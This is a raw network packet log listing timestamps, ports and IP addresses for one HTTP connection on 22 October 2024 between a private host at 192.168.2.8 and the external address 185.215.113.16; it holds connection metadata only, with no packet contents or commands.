Oct 22, 2024 19:25:11.877685070 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.877695084 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.877697945 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.877697945 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.877700090 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.877712011 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.877723932 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.877723932 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.877731085 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.877746105 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.877753973 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.877759933 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.877770901 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.877779961 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.877779961 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.877789974 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.877803087 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.877804995 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.877814054 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.877824068 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.877825022 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.877832890 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.877844095 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.877845049 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.877865076 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.877902985 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.877971888 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.877989054 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878002882 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878012896 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878021955 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878022909 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878031969 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878042936 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878046989 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878053904 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878067970 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878077984 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878078938 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878078938 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878087997 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878097057 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878108025 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878132105 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878132105 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878221989 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878237009 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878245115 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878281116 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878281116 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878289938 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878299952 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878309965 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878321886 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878333092 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878338099 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878340960 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878361940 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878362894 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878379107 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878381968 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878423929 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878650904 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878673077 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878684044 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878693104 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878705025 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878707886 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878715038 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878726006 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878726959 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878726959 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878734112 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878746033 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878752947 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878752947 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878755093 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878768921 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878773928 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878779888 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878788948 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878793955 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878794909 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878799915 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878810883 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878820896 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878825903 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878825903 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878830910 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878839970 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878865004 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878901005 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878901005 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878928900 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878927946 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878927946 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.878941059 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.878978014 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.879003048 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.879014015 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.879023075 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.879033089 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.879061937 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.879061937 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.879095078 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.879098892 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.879107952 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.879123926 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.879134893 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.879144907 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.879153967 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.879153967 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.879153967 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.879158020 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.879168034 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.879189968 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.879189968 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.879215002 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.879215002 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.879404068 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.879456997 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.879462957 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.879477978 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.879518032 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.879539967 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.879554033 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.879563093 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.879592896 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.879626036 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.879635096 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.879648924 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.879657984 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.879667997 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.879678011 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.879690886 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.879690886 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.879717112 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.879717112 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.879740000 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.879746914 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.879757881 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.879767895 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.879796028 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.879796028 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.879822969 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.880479097 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.880494118 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.880502939 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.880525112 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.880534887 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.880533934 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.880546093 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.880556107 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.880558968 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.880577087 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.880608082 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.880608082 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.880711079 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.880724907 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.880736113 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.880748034 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.880753040 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.880758047 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.880763054 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.880768061 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.880768061 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.880770922 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.880819082 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.881356955 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.906253099 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.906277895 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.906291008 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.906310081 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.906322002 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.906327009 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.906327963 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.906335115 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.906383038 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.906577110 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.906577110 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.906578064 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.906578064 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.952539921 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.952554941 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.952564955 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.952610016 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.952610016 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.988589048 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988601923 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988626957 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988640070 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988651037 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988662004 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988672972 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988683939 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988693953 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988722086 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988725901 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988744974 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988759041 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988770008 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988781929 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988792896 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988805056 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988821983 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.988821983 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.988821983 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.988821983 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.988821983 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.988821983 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.988826990 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988821983 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.988821983 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.988841057 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988848925 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988859892 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.988859892 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.988859892 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.988859892 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.988882065 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.988883972 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988893986 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988903046 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988914013 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988924980 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988934994 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.988934994 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.988936901 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988949060 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.988964081 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.988986969 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.989053965 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989064932 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989073992 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989085913 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989095926 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989105940 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989109993 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.989113092 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989125967 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989130974 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.989130974 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.989139080 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989154100 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989155054 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.989166021 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989176989 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989191055 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.989191055 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.989200115 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989211082 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989213943 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.989222050 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989233017 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989234924 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.989253998 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.989273071 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.989322901 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989335060 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989346981 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989356995 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989367962 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989372969 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.989372969 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.989398003 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.989398956 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.989495039 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989506006 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989511013 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989515066 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989520073 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989523888 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989537001 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989547014 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989578009 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.989584923 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989598036 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.989603043 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989614964 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989624023 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989634991 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989646912 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989646912 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.989648104 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.989666939 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.989670038 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989682913 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989687920 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.989691973 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989703894 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989711046 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.989712954 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989722013 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989726067 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989731073 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989741087 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.989757061 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.989757061 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.989778042 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.989797115 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.990345001 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.990355015 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.990364075 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.990375996 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.990386963 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.990395069 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.990411043 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.990417004 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.990417004 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.990427971 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.990439892 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.990443945 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.990456104 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.990461111 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.990467072 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.990504980 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.990504980 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.993443966 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.993455887 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.993474960 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.993484974 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.993499041 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.993499994 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.993515015 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.993519068 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.993525028 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.993535042 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.993546963 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.993549109 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.993561029 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.993568897 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.993572950 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.993592024 CEST	49725	80	192.168.2.8	185.215.113.16
